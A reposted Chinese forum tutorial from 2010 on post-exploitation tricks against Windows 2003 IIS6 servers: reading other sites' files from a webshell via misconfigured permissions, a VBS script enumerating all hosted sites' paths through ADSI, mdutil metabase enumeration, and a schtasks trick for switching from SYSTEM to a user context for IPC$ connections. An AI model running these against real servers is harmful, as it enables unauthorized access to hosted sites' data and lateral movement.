Board logo

标题: [转载]小谈WIN系统Hacking中的小命令2 [打印本页]

作者: 17713942    时间: 2010-8-4 11:06     标题: [转载]小谈WIN系统Hacking中的小命令2

本文已发于《非安全》
作者:NetPatch
//转载请保留版权,谢谢!

继《小谈WIN系统Hacking中提权前的小命令》之后,NetPatch斗胆再来谈谈一些在Hacking中被大部分人忽略的小命令以及原理(算是科普文章咯)。
其实这些命令,大部分人都知道,也都使用过。但是,却在某些特殊场合,由于没理解原理,没让它们派上用场。废话短说,我们直接进入主题。


一.CMD命令的特殊使用(别一看到这标题,你就失去了兴趣了哦,人不可貌相,海水不可斗量,请读者朋友耐心继续看下去)
为了不让读者看的蒙蒙的,我们先来介绍下原理。(以下内容,均以WIN2k3系统的IIS6为测试环境)
很多人都知道,我们一般拿到的WEBSHELL基本都是GUEST或USER权限,但其实我们的WEBSHELL在2K3上并不仅仅是GUEST或USER权限。呵呵,看到这是不是有点蒙了呢?别急,让NP慢慢道来。IIS6的运行,有分IUSR(来宾账户【GUESTS组权限】)和IWAM(IIS的启动帐户【IIS_WPG组权限】)以及默认的nt authority\network service (IIS内置账户)来运转的。也就是说,我们用WEBSHELL直接去看目录的东西时,是以IUSR来宾账户的权限去看的,而当我们执行命令时,却是用默认的nt authority\network service (IIS内置账户)或IWAM账户来运行的(以IWAM权限运行的,一般都是后面自己设置的)由于两个用户的权限不一样,就产生了一些权限管理的疏漏。当管理员权限配置不当时,虽然我们以IUSR用户无法跨目录看到别的站点的信息 如图1所示



但是却可用WSH以执行命令的形式,用IIS内置账户或IWAM的权限去查看目标的信息 如图2所示。



这个时候我们就可用用dir命令查询到对方目录有什么文件,用type看到对方文件的内容。如图3所示



COPY一类的内置命令却不好使。如图4所示



为什么会这样呢?我们用CACLS查询了下WEBSHELL所在目录的权限 如图5所示


我们发现“nt authority\network service”的权限被设置可读.我们再看看别的目录的权限,如图6所示



权限设置跟WEBSHELL目录类似。这种就是典型的权限配置疏漏。但是由于是只读权限,所以我们都没办法COPY东西到我们自身目录,因为nt authority\network service (IIS内置账户)对WEBSHELL所在目录也只是只读权限。若我们COPY到TEMP目录,就会发现,我们COPY成功了,因为TEMP是 EVERYONE可写的。管理员的一个权限配置疏漏,给我们留下了一线生机,让我们轻易的获得别的网站的内容和敏感信息。有的时候Dir不了对方的目录,但是却可用Type命令列其文件内容。这又是为什么呢?这个就是枚举权限和读权限的差别了!当我们知道了其中的原理,我们在Hacking中就更能如鱼得水了。当然,攻防双收,管理员看了这个,估计也会注意权限的配置了。尽量避免这种权限配置疏漏的小错误发生了。(建议在能执行命令的WEBSHELL上,习惯性的WHOAMI下,看看当前的权限哦!有的管理员会把应用程序池设置成SYSTEM权限,那就占了很大便宜咯!)

二.IIS虚拟路径的获取
有的时候,目标站点久攻不下。新手朋友只能绕道而行,旁注。比如获得了一个SQL SERVER账号,有权限备份,但是找目标站点,却很费劲,特别是没有什么规律的目录,让新手朋友很难入手(高手可用自己用SQL脚本去列举,那菜菜们呢?呵呵,今天我就教大家如何更简单的获取。)。其实IIS的ADSI接口早给我们留了个方便之门。我们将以下VBS代码保存为vWeb.vbs然后在WEBSHELL里调用cscript c:\xxx\vWeb.vbs 就可用利用ADSI接口获得IIS里所有网站的域名以及真实路径。如图7所示



On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
   wscript.echo Space(12) "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs",4096,"Lilo"
   WScript.Quit
End If
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
   If IsNumeric(obj3w.Name) Then
       Set OService=GetObject("IIS://LocalHost/W3SVC/" obj3w.Name)
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
       If Err <> 0 Then WScript.Quit (1)
       WScript.Echo Chr(10) "[" & OService.ServerComment & "]"
       For Each Binds In OService.ServerBindings
           Web = "{ " Replace(Binds,":"," } { ") & " }"
           WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
       Next
       WScript.Echo "Path         : " VDirObj.Path
   End If
Next当然,你也可用自己UP一个adsutil.vbs(微软IIS自带的脚本 c:\Inetpub\AdminScripts\adsutil.vbs 此目录脚本,默认没权限调用)以这样的命令形式调用Cscript.exe c:\xxx\adsutil.vbs ENUM /P W3SVC 执行后效果 如图8所示



不过效率问题,建议大家还是用我提供的脚本来获取。那样简单快捷。只是介绍了下,其实在WEBSHELL下,也有办法调用这些脚本去访问IIS的ADSI接口。虽然只有读的权限,但却给我们提供了不少方便。若是碰到cscript.exe不能使用的,请自行UP吧!
要是你还懒的UP,或者碰到BT管理员,把VBS之类的脚本映射给去掉了。那怎么办呢?嘿嘿,别急,NP再推荐一个强大的命令行小工具 mdutil给你。(mdutil.exe 这是在NT4 Option Pack CD-ROM 中附带的IIS Metabase 处理工具)。我们先来看看mdutil的大体帮助。
Samples:
mdutil GET W3SVC/1/ServerBindings
mdutil SET JAROSLAD2/W3SVC/1/ServerBindings ":81:"
mdutil COPY W3SVC/1/ROOT/iisadmin W3SVC/2/ROOT/adm
mdutil ENUM_ALL W3SVC
mdutil ENUM W3SVC/1

mdutil ENUM_ALL W3SVC 在WEBSHELL下执行后效果 如图9所示



是不是感觉很奇妙?我们在nt authority\network service内置账户的权限下,居然轻易的枚举出IIS的配置。下面我们还是以科普为主,让大家了解下其中的奥妙。首先,我们来看看IIS6的 Metabase.xml文件的默认ACL(默认权限配置)

? R 读取
? W 写入
? S 限制写入
? 阅读不安全 U 属性
? E 枚举项
? D 写入 DACL (权限)

IIS 6.0
? 默认 ACL: 以下列表描述默认安装 IIS 6.0 时, 都置于 Metabase.xml 目录 ACL:

LM –
W3SVC
NT AUTHORITY\LOCAL SERVICE
Access: R UE
NT AUTHORITY\NETWORK SERVICE
Access: R UE
{computername}\IIS_WPG
Access: R UE
BUILTIN\Administrators
Access: RWSUED
{computername}\ASPNET
Access: R   E
W3SVC/Filters
NT AUTHORITY\LOCAL SERVICE
Access: RW UE
NT AUTHORITY\NETWORK SERVIC
Access: RW UE
{computername}\IIS_WPG
Access: RW UE
BUILTIN\Administrators
Access: RWSUED
W3SVC/1/Filters
NT AUTHORITY\LOCAL SERVICE
Access: RW UE
NT AUTHORITY\NETWORK SERVIC
Access: RW UE
{computername}\IIS_WPG
Access: RW UE
BUILTIN\Administrators
Access: RWSUED
W3SVC/AppPools
NT AUTHORITY\LOCAL SERVICE
Access:    U
NT AUTHORITY\NETWORK SERVICE
Access:    U
{computername}\IIS_WPG
Access:    U
BUILTIN\Administrators
Access: RWSUED
W3SVC/INFO
BUILTIN\Administrators
Access: RWSUED
MSFTPSVC
BUILTIN\Administrators
Access: RWSUED
SMTPSVC
BUILTIN\Administrators
Access: RWSUED
NT AUTHORITY\LOCAL SERVICE
Access:    UE
NT AUTHORITY\NETWORK SERVICE
Access:    UE
NNTPSVC
BUILTIN\Administrators
Access: RWSUED
NT AUTHORITY\LOCAL SERVICE
Access:    UE
NT AUTHORITY\NETWORK SERVICE
Access:    UE
Logging
BUILTIN\Administrators
Access: RWSUED

大家认真看属于IIS_WPG组和NT AUTHORITY\NETWORK SERVICE内置账户的权限配置。我们的权限是足够枚举和读取这个文档的。这也是我们为什么在低权限用户下可用枚举IIS配置的原因咯(其他版本的IIS配置文件ACL请到微软官方查阅)

三、巧用命令实现SYSTEM2USER
何谓SYSTEM2USER呢?就是把当前的运行权限从SYSTEM权限转成USER权限。
老鸟们应该都清楚,在SYSTEM权限下是不能进行IPC连接的。而很多时候我们却需要用到IPC。当溢出获得一个SHELL,却不方便传工具什么的,想用IPC那就得靠系统自身的命令去实现咯。或许你会说,用RUNASUSER,但我可用很肯定的告诉你,RUNASUSER在SYSTEM权限下是做不到的。因为它没有登陆会话!(后补:其实SYSTEM下可以用 /:u机器名或IP\用户名 /u:localhost\administrator形式)
那我们要如何才能利用系统自带的命令进行SYSTEM2USER呢?嘿嘿,发展到2K3后,微软为我们提供了一个很好的命令,schtasks!(安排命令和程序定期运行或在指定时间内运行。从计划表中添加和删除任务,按需要启动和停止任务,显示和更改计划任务。)
具体参数就请读者自己看相关命令的帮助咯!我这边就大体介绍下如何实现SYSTEM2USER。
1.bat的内容如下

whoami>c:\whoami.txt
net use \\127.0.0.1\ipc$ test /u:administrator
echo test >\\127.0.0.1\c$\good.txt
net use \\127.0.0.1\ipc$ /del首先我们看下我们的环境,如图10所示



当我们的权限是SYSTEM时,执行1.bat时,就会提示改会话没有登陆。不能进行IPC。
步骤一 schtasks /create /tn "MyApp" /tr c:\1.bat /sc monthly /d 1 /ru username /rp password
我们来解释下参数。
/create 创建计划任务的必要参数
/tn TaskName
指定任务的名称。
/tr TaskRun
指定任务运行的程序或命令。键入可执行文件、脚本文件或批处理文件的完全合格的路径和文件名。如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。
/sc schedule
指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。 值 说明
MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY 指定计划的时间单位。
ONCE 任务在指定的日期和时间运行一次。
ONSTART 任务在每次系统启动的时候运行。可以指定启动的日期,或下一次系统启动的时候运行任务。
ONLOGON 每当用户(任意用户)登录的时候,任务就运行。可以指定日期,或在下次用户登录的时候运行任务。
ONIDLE 只要系统空闲了指定的时间,任务就运行。可以指定日期,或在下次系统空闲的时候运行任务。

步骤二 schtasks /run /tn "myapp"
/run 立即运行指定的计划任务

运行效果如图11所示。



步骤三 schtasks /delete /f /tn "myapp"
/delete 删除指定的计划任务
/f 阻止确认消息。不警告就删除任务。

为什么不指定时间运行呢,呵呵,为了方便执行命令,我们可用随时更改计划任务要运行的程序的内容。我们可用随时用指定用户去执行。
以上说的均在2K3下测试通过。有什么不明白的或觉得我什么地方有错的,请到www.nspcn.org与我联系。




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2